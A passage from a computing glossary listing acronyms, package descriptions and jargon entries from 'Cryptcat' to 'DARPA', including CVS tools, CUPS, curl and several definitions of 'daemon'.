TCP/IP swiss army knife extended with twofish encryption Cryptcat is a simple Unix utility which reads and writes data across network connections, using TCP or UDP protocol while encrypting the data being transmitted. It is designed to be a reliable "back-end" tool that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities. 
Cryptography
The study of codes, cryptography refers to the making and breaking of algorithms to conceal or otherwise encrypt information. One of the most popular internet encryption schemes is PGP. 
crystalspace
Multiplatform 3D Game Development Kit Crystal Space is a free 3D game toolkit. It can be used for a variety of 3D visualization tasks. Many people will probably be interested in using Crystal Space as the basis of a 3D game, for which it is well suited. 
CS
Carrier Selection 
CS
Chip Select (IC) 
CS
Client/Server, "C/S" 
CS
Code Segment [register] (CPU, Intel, assembler) 
CS
Coding Scheme (GPRS, mobile-systems) 
CS
Computer Science 
CS
Controlled Slip [error event] (DS1/E1) 
CS
Convergence Sublayer (ATM) 
CS1
Capability Set 1 (IN), "CS-1" 
CS2
Capability Set 2 (IN) 
CSA
Callpath Service Architecture (IBM, CTI) 
CSA
Client Service Agent 
CSA
Configuration Status Accounting 
CSAPI
Common Speller Application Program Interface (API) 
CSC
Computer Sciences Corporation (provider) 
CSCC
Concurrent SuperComputing Consortium (org.) 
CSCD
Caldera Systems Curriculum Developers (Caldera) 
cscope
Interactively examine a C program source cscope is an interactive, screen-oriented tool that allows the user to browse through C source files for specified elements of code. Open-Sourced by: The Santa Cruz Operation, Inc. (SCO) Maintainer: Petr Sorfa <petr@users.sourceforge.net> Home Page: http://cscope.sourceforge.net/ 
CSCSI
Canadian Society for the Computational Studies of Intelligence (org., Canada, AI) 
CSCW
Computer Supported Cooperative Work 
CSD
Control flow Specification Diagram (CASE) 
CSD
Corrective Service Diskettes (IBM) 
CSD
Customer Specific Dictionaries 
CSDC
Circuit Switched Digital Capability 
CSDC
Code Segment Descriptor Cache [register] (CS, Intel, CPU) 
CSE
Client-Server Environment 
CSEIA
[conference on] Computer Support for Environmental Impact Assessment (IFIP, conference) 
CSEL
Cable SELect (EIDE, HD) 
CSELT
Centro Studi E Laboratori Telecomunicazioni [s.p.a.] (org., Italy) 
CSEM
Centre Suisse d'Electronique et de Microtecnique (org., Switzerland) 
CSES
C-bit Severely Errored Seconds (DS3/E3) 
CSG
Constructive Solid Geometry (CAD, CAM) 
CSH
C SHell (Unix, BSD, Shell) 
CSH
Complementary Software House (DEC) 
csh
Shell with C-like syntax, standard login shell on BSD systems. The C shell was originally written at UCB to overcome limitations in the Bourne shell. Its flexibility and comfort (at that time) quickly made it the shell of choice until more advanced shells like ksh, bash, zsh or tcsh appeared. Most of the latter incorporate features original to csh. This package is based on current OpenBSD sources. 
CSI
CompuServe Incorporated (ISP) 
CSI
Convergence Sublayer Indication (ATM) 
CSIC
Customer Specific Integrated Circuit (IC, RL) 
CSID
Caller Station IDentification (Fax) 
CSIDS
Central command/Southern command Integrated Data System (mil., USA) 
CSII
Center for Systems Interoperability and Integration (org., ???) 
CSIRO
Commonwealth Scientific and Industrial Research Organization (org., UK) 
CSIS
Central Schengen Information Systen (SIS, Europe, Strasbourg) 
CSKI
Ceska Spolecnost pro Kybernetiku a Informatiku (org., Tschechien) 
CSL
Callable Services Library (IBM, VM/ESA, CMS) 
CSL
Computer SoLutions [software gmbh] (Haendler) 
CSLIP
Compressed [headers] Serial Line Internet Protocol (SLIP, IP) 
CSMA
Carrier Sense Multiple Access 
CSMACA
Carrier Sense Multiple Access with Collision Avoidance, "CSMA/CA" 
CSMACD
Carrier Sense Multiple Access with Collision Detection (IEEE 802.3, ethernet, CSMA/CD), "CSMA/CD" 
csmash
CannonSmash, a table tennis simulation game CannonSmash is a funny 3D table tennis game. It takes a while to get your hand at ease with the mouse+keyboard manipulations. But once you're used to the technique, you can feel like playing a real game. It is playable against the computer or through a network. Since csmash relies on OpenGL-compatible rendering, it is best experienced with a 3D accelerator card, although software rendering in wireframe mode should be sustainable. 
CSMS
C Specific Media Support (NEST, MLID, Novell) 
CSMUX
Circuit Switching MUltipleXer (FDDI), "CS-MUX" 
CSN
Card Select Number (PNP) 
CSNET
Computer + Science NETwork (USA, network, BITNET) 
CSP
Centro Supercacolo Piemonte (org., Italy, HPC) 
CSP
Chip Scale Package (IC) 
CSP
Communicating Sequential Processes 
CSP
Cross System Product (IBM) 
CSPDN
Circuit Switched Public Data Network (IN) 
CSPDU
Convergence Sublayer Protocol Data Unit (ATM, PDU), "CS PDU" 
csplit
split a file into sections determined by context lines 
CSPP
Computer Systems Policy Project [group] (org., USA. manufacturer) 
CSR
Cell misSequenced Ratio (ATM) 
CSR
Cell Switch Router (Toshiba) 
CSRAM
Clock Synchronous Random Access Memory (RAM, IC) 
CSS
Cascading Style Sheets (HTML, WWW, JavaScript) 
CSS
Cascading Style Sheets: A simple mechanism for adding style (e.g. fonts, colors, spacing) to Web documents. 
CSS
Computer Sub System 
CSS
Content Scrambling System (DVD, Matsushita, IBM) 
CSS
Controlled Slip Seconds (DS1/E1) 
CSS
Customer Switching System 
CSS (Cascading Style Sheet)
A standard for specifying the appearance of text and other elements. CSS was developed for use with HTML in Web pages but is also used in other situations, notably in applications built using XPFE. CSS is typically used to provide a single "library" of styles that are used over and over throughout a large number of related documents, as in a web site. A CSS file might specify that all numbered lists are to appear in italics. By changing that single specification the look of a large number of documents can be easily changed. 
cssc
Clone of the Unix SCCS revision-control system. SCCS is a de-facto standard shipped with most commercial Unices, and is the pre-file revision-control system under many project-wide revision-control systems. This software is under development and not all features are implemented at this time. GNU-based systems use RCS instead of SCCS. 
CST
Central Standard Time [-0600] (TZ, CDT, USA) 
CSTA
Computer Supported Telecommunications Applications (ECMA, CTI) 
CSTB
Computer Science and Technology Board (org., NRC) 
CSTC
Computer Security Technology Center (org., CIAC) 
CSTO
Computing Systems Technology Office (org., ARPA) 
cstocs
Recoding utility and Czech sorter. This is a utility which allows you to re-encode files between various encodings and sort Czech data. Some main features: - Written in Perl, providing appropriate Perl modules. - Supported encodings: ASCII, ISO-8859-1, ISO-8859-2, Microsoft cp1250 and cp1252, Mac, MacCE, PC Latin 2, Koi8-CS and TeX Cork (T1). - You can create your own encoding definition files and use them for recoding to any other defined encoding. - Single to single or single to many chars recodings are supported. - Sophisticated sorting algorithm for Czech. 
CSTR
Centre for Speech Technology Research 
cstr
print out string literals in C source code 
CSTS
Computer Supported Telecommunications Standard 
CSU
Channel Service Unit (ATM) 
CSU/DSU (Customer Service Unit/Digital Service Unit)
Sometimes called a digital modem. It does not modulate or demodulate, but converts a computer's uni-polar digital signal to a bi-polar digital signal for transmission over ISDN lines. From Glossary of Distance Education and Internet Terminology
CSUNET
California State University NETwork (network, USA) 
CSV
Comma Separated Values 
CT
Chipcard Terminal (ICC, CT) 
CT
Chips & Technologies (manufacturer), "C&T" 
CT
[magazin fuer] Computer Technik, "c't" 
ctags
The ctags program generate an index (or "tag") file for C, C++, Eiffel,Fortran, and Java language objects found in files. This tag file allows these items to be quickly and easily located by a text editor or other utility. A "tag" signifies a language object for which an index entry is available (or, alternatively, the index entry created for that object). Alternatively, ctags can generate a cross reference file which lists, inhuman readable form, information about the various source objects found in a set of language files. 
CTAN
Comprehensive Tex Archive Network (TeX, FTP) 
CTAPI
Chipcard Terminal Application Program Interface (ICC, CT, API), "CT-API" 
CTB
Communication ToolBox (Apple) 
CTCA
Channel To Channel Adapter (IBM, System/370) 
CTCP
An acronym for Client-To-Client-Protocol, see IRC. 
CTCP
Client To Client Protocol (IRC) 
CTCPEC
Canadian Trusted Computer Product Evaluation Criteria (Canada) 
CTD
Cell Transfer Delay (UNI, ATM, QOS) 
CTE
Compliance Test and Evaluation, "CT & E" 
CTERM
Command TERMinal (DEC) 
cthumb
A program to generate themable Web picture albums cthumb allows you to create themable web picture albums, i.e. collections of digital pictures, with small thumbnails of your pictures and with captions. In addition, it optionally allows you to have several views of the collection of pictures. An album is composed of a series of pages, each composed of a collection of pictures. For each page (and each picture), you can have several annotations per picture. cthumb will generate several versions of the page, for each annotation type. You can customize almost everything in the way the albums look on the screen, from the size of the thumbnails to the background and foreground colors, the border colors, whether you want film-strips, etc. 
CTI
Computer Telephony Integration 
ctie
merge multiple CWEB change files into one file This program is capable of merging multiple change files for a CWEB file into a single change file, or producing a master change file from them. It is based on the TIE program written for WEB (and found in the tetex-bin package). 
ctime
Unix jargon for "the time a file's status last changed". (cf. atime, mtime). 
ctklight
a light compiler toolkit in Haskell CTKLight is a compiler toolkit for Haskell, helping in writing lexers and parsers using combinators. The resulting parsers and lexers are self-optimizing and thus fast. CTKLight works in both GHC and Hugs 98, language extensions turned on. CTKLight is suitable for small compiler projects. 
CTM
Communication Trunk of Medium range Mil., Germany 
CTOS
Cassette Tape Operating System (OS, Datapoint) 
CTR
Common Technical Regulations (Europe) 
CTR
[columbia university] Center for Telecommunications Research (org., USA) 
CTRON
Central TRON (TRON) 
CTS
Cipher Text Stealing [mode] (cryptography) 
CTS
Clear To Send (MODEM, RS-232) 
CTS
Conformance Testing Service (OSTC) 
CTSM
C Topology Specific Module (NEST, MLID, Novell) 
CTSS
Compatible Time Sharing System (Unix, predecessor, OS, MIT) 
CTSS
Cray TimeSharing System (OS, Cray, LLNL) 
CTT
Cartridge Tape Transport 
CTT
Character Translation Table 
CTTC
Cartridge Tape Transport Controller 
cttex
Thai word separator for Thai TeTeX/LaTeX and HTML This is a Thai word separator program intended for use with Thai LaTeX and HTML documents. Thai script is written continously without using "space" for breaking between words. A program such as LaTeX, then, needs to know where to break the sentence for a newline. 
CTV
Cell Tolerance Variation (ATM) 
ctwm
Claude's Tab window manager ctwm is Claude Lecommandeur's extension to twm; in addition to the features of twm, it supports multiple virtual screens, the pixmap file format, pinnable ("sticky") menus, and other enhancements. 
CTY
Console teleTYpe 
CU
Call Up (Unix) 
CUA
Common User Application 
CUCUG
Champaign-Urbana Computer Users Group (org., user group) 
CUI
Character User Interface (UI) 
CUI
Common User Interface (AMS, UI) 
cundecl
encode C type declarations 
cunloop
unloop C loops 
cup
LALR parser generator for Java(tm) CUP is the "Constructor of Useful Parsers", a system for generating parsers from simple LALR specifications. It serves the same role as the widely used program YACC and in fact offers most of the features of YACC. However, CUP is written in Java, uses specifications including embedded Java code, and produces parsers which are implemented in Java. 
cups
The Common Unix Printing System provides a portable printing layer for UNIX(TM) operating systems. It has been developed by Easy Software Productsto promote a standard printing solution for all UNIX vendors and users. CUPS provides the System V and Berkeley command-line interfaces. This is the main package needed for CUPS servers (machines where a printer is connected to or which host a queue for a network printer). It can also be used on CUPS clients so that they simply pickup broadcasted printer information from other CUPS servers and do notneed to be assigned to a specific CUPS server by an/etc/cups/client.conf file. 
cupsys
Common UNIX Printing System(tm) - server The Common UNIX Printing System (or CUPS(tm)) is a printing system and general replacement for lpd and the like. It supports the Internet Printing Protocol (IPP), and has its own filtering driver model for handling various document types. This package provides the CUPS scheduler/daemon and related files. The terms "Common UNIX Printing System" and "CUPS" are trademarks of Easy Software Products (www.easysw.com), and refer to the original source packages from which these packages are made. 
curator
Turn directories of images into static web content Curator is a powerful script that allows one to generate Web page image galleries with the intent of displaying photographic images on the Web, or for a CD-ROM presentation and archiving. It generates static Web pages only - no special configuration or running scripts are required on the server. The script supports many file formats, hierarchical directories, thumbnail generation and update, per-image description file with any attributes, and 'tracks' of images spanning multiple directories. The templates consist of HTML with embedded Python. Running this script only requires a recent Python interpreter and the ImageMagick tools. Upstream is: http://curator.sourceforge.net/ 
curl
Get a file from an FTP, GOPHER, HTTP or HTTPS server. curl is a client to get documents/files from servers using any of the supported protocols. The command is designed to work without user interaction or any kind of interactivity. curl offers a busload of useful tricks like proxy support, user authentication, ftp upload, HTTP post, file transfer resume and more. This package is able to handle SSL requests only if installed together with libcurl2-ssl. More informations can be found at the curl web site http://curl.haxx.se . 
cursel
simple language to provide text application interfaces CURSEL is a freeware FMLI implementation, a small language that allows you to quickly make a form- and menu- based character interface to shell scripts and other programs. 
cursor
Normally a block character which marks the place for input on a computer screen. 
curves
colorful console interface for CVS version control CurVeS performs two functions. It provides a menu and command completion interface to CVS so that inexperienced users can learn the features of CVS without documentation. This includes the creation of some meta-features built upon standard CVS commands that commonly are used together. The second function of CurVeS is to provide visual presentation of a project directory so that the status of each file is comprehensible at a glance. CurVeS uses color, when available, to accent the file classification marks. 
CUSI
Configurable Unified Search Interface (WWW) 
CUSP
Commonly Used System Program (DEC) 
CUT
Control Unit Terminal 
cut
remove sections from each line of files 
cutils
C source code utilities C source code utilities, consisting of cdecl and cundecl - decode and encode C type declarations cobfusc - make a C source file unreadable but compilable chilight - highlight C source files cunloop - unloop C loops yyextract - extract grammar rules from yacc grammar yyref - yacc grammar reference program 
CUU
ComputerUnterstuetzte Unterweisung 
cuyo
Tetris-like game with very impressive effects. Cuyo, named after a Spanish possessive pronoun, shares with tetris that things fall down and how to navigate them. When enough "of the same type" come "together", they explode. The goal of each level is to blow special "stones" away, you start with. But what "of the same type" and "together" means, varies with the levels. If you hear someone shout that a dragon is always burning his elephants, so that he is not able to blow the volcano away, there a good chances to find Cuyo on his screen. WARNING: It is known to successfully get many people away from more important things to do. 
CVF
Compressed Volume File (DOS) 
CVIA
Computer Virus Industry Association (org., USA) 
cvm
Credential Validation Modules CVM is a framework for validating a set of credentials against a database using a filter program. The modules act as a filter, taking a set of credentials as input and writing a set of facts as output if those credentials are valid. Optional input is given to the module through environment variables. Some of the ideas for CVM came from experience with PAM (pluggable authentication modules), the checkpassword interface used by qmail-pop3d, and the "authmod" interface used by Courier IMAP and POP3. This framework places fewer restrictions on the invoking client than checkpassword does, and is much simpler to implement on both sides than PAM and the authmod framework. See http://untroubled.org/cvm/cvm.html for more information. 
CVS
A source code control system is a MUST to manage the changes occurring to a software project during development. Developers need a complete history of changes to backtrack to previous versions in case of any problems. Since source code is the most vital component of any software project and software development takes a huge amount of time and money, it is very important to spend some time in safe-guarding the source code by using source code control systems like CVS and RCS. CVS (Concurrent Version Control System) is a powerful tool which allows concurrent development of software by multiple users. It uses RCS underneath and has an application layer interface as a wrapper on top of RCS. CVS can record the history of your files (usually, but not always, source code). CVS only stores the differences between versions, instead of every version of every file you've created. CVS also keeps a log of who, when and why changes occurred, among other aspects. CVS is very helpful for managing releases and controlling the concurrent editing of source files among multiple authors. Instead of providing version control for a collection of files in a single directory, CVS provides version control for a hierarchical collection of directories consisting of revision controlled files. These directories and files can then be combined to form a software release. CVS can be used for storing "C", "C++", Java, Perl, HTML and other files. HISTORY of CVS: CVS is a very highly sophisticated and complex system. It is the "State of the Art" technology and is so called "software miracle". The CVS software is a very advanced and capable system developed over a very long period of time. And it took several years to mature!! It took about 20 to 30 years of research to develop CVS algorithms and later it was coded into a software. And even today, it is still evolving!! CVS algorithms actually started in Universities several decades ago and CVS implementation started out as a bunch of shell scripts written by Dick Grune, who posted it to the newsgroup comp.sources.unix in the volume 6 release of December, 1986. While no actual code from these shell scripts is present in the current version of CVS much of the CVS conflict resolution algorithms come from them. In April, 1989, Brian Berliner designed and coded CVS. Jeff Polk later helped Brian with the design of the CVS module and vendor branch support. And today each and every major software development project in the world is written using CVS as the safe repository. As good old software hats say - "You are in very safe hands, if you are using CVS !!!" From http://www.milkywaygalaxy.freeservers.com
CVS
Computer Vision Syndrome 
CVS
Concurrent Versions System (Unix) 
cvs
Concurrent Versions System CVS is a version control system, which allows you to keep old versions of files (usually source code), keep a log of who, when, and why changes occurred, etc., like RCS or SCCS. Unlike the simpler systems, CVS does not just operate on one file at a time or one directory at a time, but operates on hierarchical collections of directories consisting of version controlled files. CVS helps to manage releases and to control the concurrent editing of source files among multiple authors. CVS allows triggers to enable/log/control various operations and works well over a wide area network. 
cvs
CVS means Concurrent Version System; it is a version control system which can record the history of your files (usually,but not always, source code). CVS only stores the differences between versions, instead of every version of every fileyou've ever created. CVS also keeps a log of who, when and why changes occurred, among other aspects. CVS is very helpful for managing releases and controllingthe concurrent editing of source files among multipleauthors. Instead of providing version control for a collection of files in a single directory, CVS providesversion control for a hierarchical collection ofdirectories consisting of revision controlled files. These directories and files can then be combined togetherto form a software release. Install the cvs package if you need to use a version control system. 
cvs2cl
CVS-log-message-to-ChangeLog conversion script This perl script produces a GNU-style ChangeLog for CVS-controlled sources, by running "cvs log" and parsing the output. Duplicate log messages get unified in the Right Way. 
cvs2html
create HTML versions of CVS logs cvs2html is program that transforms the 'cvs log' output into a HTML file. The program can be used on any type of cvs archive, but since it invokes cvs itself, it needs to be run in a machine having a local checked out copy of the archive and access to the repository. 
cvsbook
Open Source Development with CVS, an online book This is an online version of a book written by Karl Fogel and published by Coriolis, Inc. This book covers CVS, starting with a tutorial and going on to cover repository administration, more advanced topics, troubleshooting, and a complete CVS reference. 
cvsbug
send problem report (PR) about CVS to a central support site 
cvsconfig
The GNU Concurrent Versions System 
CVSD
Continuous Variable Delta Modulation (DFUe) 
CVSELP
Codex Vector Sum Excited Linear Prediction [algorithm] (Motorola, VOFR) 
cvsgraph
Create a tree of revisions/branches from a CVS/RCS file. CvsGraph was inspired by the graph option from WinCVS. It represents the revisions and branches in a CVS/RCS file in a graphical tree structure, also listing any tags associated with any given revision. 
cvsps
Tool to generate CVS patch set information CVSps is a program for generating 'patch set' information from a CVS repository. A patch set in this case is defined as a set of changes made to a collection of files, all committed at the same time (using a single 'cvs commit' command). This information is valuable for seeing the big picture of the evolution of a CVS project. While CVS tracks revision information, it is often difficult to see what changes were committed 'atomically' to the repository. 
cvsup
A network file distribution system optimized for CVS (client) CVSup is a software package for distributing and updating collections of files across a network. It can efficiently and accurately mirror all types of files, including sources, binaries, hard links, symbolic links, and even device nodes. CVSup's streaming communication protocol and multithreaded architecture make it most likely the fastest mirroring tool in existence today. In addition to being a great general-purpose mirroring tool, CVSup includes special features and optimizations specifically tailored to CVS repositories. 
cvsupd
A network file distribution system optimized for CVS (server) CVSup is a software package for distributing and updating collections of files across a network. It can efficiently and accurately mirror all types of files, including sources, binaries, hard links, symbolic links, and even device nodes. CVSup's streaming communication protocol and multithreaded architecture make it most likely the fastest mirroring tool in existence today. In addition to being a great general-purpose mirroring tool, CVSup includes special features and optimizations specifically tailored to CVS repositories. 
cvsutils
CVS utilities for use in working directories Several utilities which are used to facilitate working with the files in the working directory of a developer using CVS. The utilities included in this package are: + cvsu: Offline "cvs update" simulator. Lists the files found in the current directory (or in the directories which you specify). + cvsco: "Cruel checkout". Removes results of compilation and discards local changes. Deletes all the files except listed unmodified ones and checks out everything which seems to be missing. + cvsdiscard: Discards local changes but keeps results of compilation. Works like "cvsco", but only deletes files which are likely to cause merge conflicts. + cvspurge: CVS-based "make maintainer-clean". Removes results of compilation but keeps local changes intact. Removes unknown files, but keeps changes in files known to CVS. + cvstrim: Removes files and directories unknown to CVS. + cvschroot: Makes it possible to change CVS/Root in all subdirectories to the given value. + cvsrmadm: Removes all CVS directories in the project. It is safer if you occasionally make mistakes in the "find" commands. + cvsdo: Simulates some of the CVS commands (currently add, remove and diff) without any access to the CVS server. 
cvsweb
a CGI interface to your CVS repository cvsweb is a WWW CGI script that provides remote access to your CVS repository. It allows browsing of the full tree, with configurable access controls. It will display the revision history of a file, as well as produce diffs between revisions and allow downloading any revision of the whole file. 
cw
Command-line frontend to unixcw This package contains a simple command line client called cw, which sounds characters as Morse code on the console speaker. The included cwgen binary can generate groups of random characters for Morse code practice. Included are some examples files with embedded commands. These commands can be used to change speed, tone, spacing between characters and much more. 
cwcp
Ncurses frontend to unixcw Cwcp is a curses-based interactive Morse code tutor program. It allows menu selection from a number of sending modes, and also permits character sounding options, such as the tone pitch, and sending speed, to be varied from the keyboard using a full-screen user interface. 
cweb
Knuth's & Levy's C/C++ programming system. CWEB allows you to write documents which can be used simultaneously as C/C++ programs and as TeX documentation for them. The philosophy behind CWEB is that programmers who want to provide the best possible documentation for their programs need two things simultaneously: a language like TeX for formatting, and a language like C for programming. Neither type of language can provide the best documentation by itself. But when both are appropriately combined, we obtain a system that is much more useful than either language separately. You may also want to install the ctie package which allows one to work with multiple change files simultaneously. 
cwebx
C/C++ literate programming system (Marc van Leeuwen's version) This version is a complete rewrite of Levy & Knuth's version of CWEB. It uses a slightly different syntax from the L&K version, but provides a compatibility mode allowing L&K CWEB sources to be processed, producing similar (though not necessarily identical) output. CWEB allows you to write documents which can be used simultaneously as C/C++ programs and as TeX documentation for them. The philosophy behind CWEB is that programmers who want to provide the best possible documentation for their programs need two things simultaneously: a language like TeX for formatting, and a language like C for programming. Neither type of language can provide the best documentation by itself. But when both are appropriately combined, we obtain a system that is much more useful than either language separately. 
CWI
Centrum voor Wiskunde en Informatica (org., Netherlands) 
CWIS
Campus Wide Information System 
CWMI
Common Warehousing Metadata Interchange (DB, DWH) 
CWP
Current Workspace Pointer (SPARC, CPU) 
CWT
Character Width Table 
CXI
Common X-windows Interface (Unix) 
cxpm
Check an XPM (X PixMap) file - XPM 1, 2, or 3. 
cxref
Generates latex and HTML documentation for C programs. A program that takes as input a series of C source files and produces a LaTeX or HTML document containing a cross reference of the files/functions/variables in the program, including documentation taken from suitably formatted source code comments. The documentation is stored in the C source file in specially formatted comments, making it simple to maintain. The cross referencing includes lists of functions called, callers of each function, usage of global variables, header file inclusion, macro definitions and type definitions. Works for ANSI C, including many gcc extensions. 
Cyberpunk
Cyberpunk was originally a cultural sub-genre of science fiction taking place in a not-so-distant, dystopian, over-industrialized society. The term grew out of the work of William Gibson and Bruce Sterling and has evolved into a cultural label encompassing many different kinds of human, machine, and punk attitudes. It includes clothing and lifestyle choices as well. 
Cyberspace
Term originated by author William Gibson in his novel Neuromancer the word Cyberspace is currently used to describe the whole range of information resources available through computer networks. 
Cyberspace
The nebulous "place" where humans interact over computer networks, same as virtual space. From Glossary of Distance Education and Internet Terminology
cylinder
A set of tracks on the platters of a hard disk. 
Cylinder
In hard and floppy disk drives, a unit of storage consisting of the set of tracks that occupy the same position on opposite sides of the platter. On a double-sided disk, a cylinder includes track 1 on the top of one another, a cylinder consists of track 1 on both sides of all the disks. 
Cylinders, heads, and sectors
The physical drive itself usually comprises several actual disks of which both sides are used. The sides are labelled 0, 1, 2, 3, and so on, and are also called heads because one magnetic head per side does the actual reading and writing. Each side/head has tracks, and each track is divided into segments called sectors. Each sector typically holds 512 bytes. The total amount of space on the drive in bytes is therefore: 512 x (sectors-per-track) x (tracks-per-side) x (number-of-sides) A single track and all the tracks of the same diameter (on all the sides) are called a cylinder. Disks are normally talked about in terms of ``cylinders and sectors'' instead of ``sides, tracks, and sectors.'' Partitions are (usually) divided along cylinder boundaries. Hence, disks do not have arbitrarily sized partitions; rather, the size of the partition is usually a multiple of the amount of data held in a single cylinder. Partitions therefore have a definite inner and outer diameter. 
CYMK
Cyan, Yellow, Magenta, blacK (color system) 
cyrus
CMU Cyrus mail system (common files) Cyrus is a fully-featured IMAP daemon, with a number of features not found in other IMAP implementations, including: o Designed to handle massive quantities of mail o No need for users to have login accounts o Support for POP3 in addition to IMAP o Servers don't run as root o Easy support for mail quotas For more information, see http://asg.web.cmu.edu/cyrus/. Note: Cyrus doesn't support reading from and storing mail in your standard mail spool - it stores mail in a separate directory in its own MH-like format. The Debian version of Cyrus has been modified to support authentication via PAM in addition to the standard UNIX password file. This package contains the common files needed by the other Cyrus components. The cyrus-imapd and/or cyrus-pop3d packages are needed to enable IMAP and POP3 support respectively. 
D
D3D
Direct3D (DirectX, MS) 
D3DRM
Direct3D Retained Mode (DirectX, MS) 
d4x
Graphical tool for downloading files from Internet Downloader for X is a tool for downloading files from the Internet via both HTTP and FTP with a powerful but userfriendly interface. It supports reconnecting and resuming on connection timeouts, has a download queue for multiple files, support for simultaneous downloads, and many other features for powerful downloading. It is written in C++, the GUI uses GTK+. 
DA
Destination [MAC] Address (SNA, Token Ring, ATM, FDDI, ...) 
DA
Digital-to-Analog (D/A), "D/A" 
DA11
DatenAustauschphase 11 [allgemeine bauabrechnung] (GAEB) 
DA81
DatenAustauschphase 81 [leistungsverzeichnis] (GAEB) 
DA82
DatenAustauschphase 82 [kostenanschlag] (GAEB) 
DA83
DatenAustauschphase 83 [angebotsanforderung] (GAEB) 
DA84
DatenAustauschphase 84 [angebotsabgabe] (GAEB) 
DA85
DatenAustauschphase 85 [nebenangebot] (GAEB) 
DA86
DatenAustauschphase 86 [zuschlag/auftragserteilung] (GAEB) 
DAA
Device Access Architecture (Vireo) 
DAA
Digest Access Authentication (HTTP) 
DAB
Digital Audio Broadcasting 
DAC
Digital to Analog Converter 
DAC
Discretionary Access Control 
DAC
Dual Address Cycle (PCI) 
DAC
Dual Attached Concentrator (FDDI) 
DACAPO
??? [hardware description language] (HDL) 
DACNOS
Distributed Academic Computing Network Operating System (OS, HECTOR) 
DACS
Digital Access Control System (ISDN, DES, cryptography) 
DACT
DAta Compression Technology 
dact
Multi-algorithm compression DACT compresses each block within the file with all its known algorithms and uses the block with the best compression ratio. DACT can encrypt the compressed data with one of two algorithms. Compression time for DACT is slow as each block is compressed multiple times, Current supported compression algorithms include RLE, Delta, Text, Zlib, Modified Zlib, Bzip2 and Seminibble Encoding. 
DAD
Desktop Application Director (WordPerfect) 
dadadodo
Exterminates all rational thought DadaDodo is a program that analyses texts for Markov chains of word probabilities and then generates random sentences based on that. Sometimes these sentences are nonsense; but sometimes they cut right through to the heart of the matter and reveal hidden meanings. 
DAE
Digital Audio Extraction (CD, audio) 
daemon
/day'mn/ or /dee'mn/ n. [from the mythological meaning, later rationalized as the acronym `Disk And Execution MONitor'] A program that is not invoked explicitly, but lies dormant waiting for some condition(s) to occur. The idea is that the perpetrator of the condition need not be aware that a daemon is lurking (though often a program will commit an action only because it knows that it will implicitly invoke a daemon). For example, under ITS writing a file on the LPT spooler's directory would invoke the spooling daemon, which would then print the file. The advantage is that programs wanting (in this example) files printed need neither compete for access to nor understand any idiosyncrasies of the LPT. They simply enter their implicit requests and let the daemon decide what to do with them. Daemons are usually spawned automatically by the system, and may either live forever or be regenerated at intervals. Daemon and demon are often used interchangeably, but seem to have distinct connotations. The term `daemon' was introduced to computing by CTSS people (who pronounced it /dee'mon/) and used it to refer to what ITS called a dragon; the prototype was a program called DAEMON that automatically made tape backups of the file system. Although the meaning and the pronunciation have drifted, we think this glossary reflects current (2000) usage. 
Daemon
A background process of the operating system that usually has root security level permission. A daemon usually lurks in the background until something triggers it into activity, such as a specific time or date, time interval, receipt of e-mail, etc. 
daemon
A process lurking in the background, usually unnoticed, until something triggers it into action. For example, the \cmd{update} daemon wakes up every thirty seconds or so to flush the buffer cache, and the \cmd{sendmail} daemon awakes whenever someone sends mail.
daemon
A program that runs continuously in the background, until activated by a particular event. A daemon can constantly query for requests or await direct action from a user or other process. 
daemon
a program which runs for an extended period (usually "forever") to handle requests for service as needed. 
Daemon
A program, usually on a computer running UNIX, that serves some obscure function (such as routing electronic mail to its recipients) and usually has a very limited user interface. There's some debate about the origins of the word, but most say it derives from the devilish spirits of Greek mythology. 
DAEMON
Disk And Execution MONitor (Unix) 
daemon (service)
On UNIX, a daemon is a program running in the background, usually providing some sort of service. Typical daemons are those that provide e-mail, printing, telnet, FTP, and web access. 
DAF
Distributed Application Framework (CCITT) 
DAG
DatenAnschaltGeraet 
DAI
??? (Sun) 
DAI
Device Application Interface (Novell, Netware, SMS) 
DAI
Distributed Artificial Intelligence (AI) 
dailystrips
view web comic strips more conveniently A perl script that gathers online comic strips for more convenient viewing. When in normal mode, it creates an HTML page that references the strips directly, and when in local mode, it also downloads the images to your local disk. 
DAINET
Deutsches AgrarInformationsNETz (WWW, org.) 
DAIS
Distributed Application Integration System (ORB) 
DAL
Data Access Language (Apple) 
DALI
Distributed Artificial LIfe (AI), "DALi" 
DAM
Direct Access Method / Mode (DAM, SAM) 
DAM
Distributed Abstract Machine 
DAM
Draft AMendment (ISO) 
Damn Small Linux
Damn Small Linux is a business card size (50MB) Linux distribution. Despite it's miniscule size it strives to have a functional and easy to use desktop. The initial freshmeat announcement for version 0.1 was released March 19, 2003. Version 0.3.10 was released June 4, 2003. A CD-based distribution. 
DAMQAM
Dynamically Adaptive Multicarrier Quadrature Amplitude Modulation 
DANA
De.Admin.News.Announce (Usenet), "D.A.N.A." 
dancer-ircd
An IRC server designed for centrally maintained networks This is the ircd designed for use on OpenProjects Net (www.openprojects.net), based on the hybrid ircd used by efnet. It attempts to handle the network transparently as a unit, and to provide features to support the OPN philosophy. This package contains the main binary files. 
dancer-services
IRC services implementation for dancer-ircd This is the counterpart to dancer-ircd, a services implementation (nickserv, chanserv, etc) that works with the dancer protocol. It can connect to a remote server, but it is highly recommended that you run a local ircd instead and connect it to that. Note that dancer-services will not work properly with any ircd other than dancer-ircd. Dancer-services is essentially the same as hybserv, only patched to work with dancer-ircd. 
DANTE
Delivery of Advanced Network Technology to Europe (org., Europe) 
DANTE
Deutschsprachige ANwendervereinigung TEx [e.v.] (TeX, user group) 
dante-client
Provides a SOCKS wrapper for users behind a firewall. Dante provides "socksify" - a program which forwards network requests from any program to the SOCKS server (v4 or v5) which then performs them on your behalf. 
dante-server
SOCKS server. dante-server provides "danted" - a SOCKS (v4 and v5) server 
DAO
Data Access Objects (DB) 
DAO
Destination Address Omitted [flag] (CATNIP) 
DAO
Disk At Once (CD-R) 
DAP
Data Access Protocol (DEC, DNA) 
DAP
Developers Assistance Program (IBM) 
DAP
Directory Access Protocol (X.500, DS) 
DAP
Directory Application Protocol (IN) 
DAP
Document Application Profile (JTC1, ODIF, ODA) 
DAPE
Distributed Application Programming Environment (ORB) 
DAPHNE
Document Application Processing in a Heterogeneous Network Environment 
DAPIE
Developer API Extensions (IBM, OS/2, API) 
DARI
Database Application Remote Interface (IBM, DB) 
Darkstar Linux
A source-based multi-platform Linux distribution. 
DARMP
Defense Automation Resources Management Program (mil., USA) 
DARPA
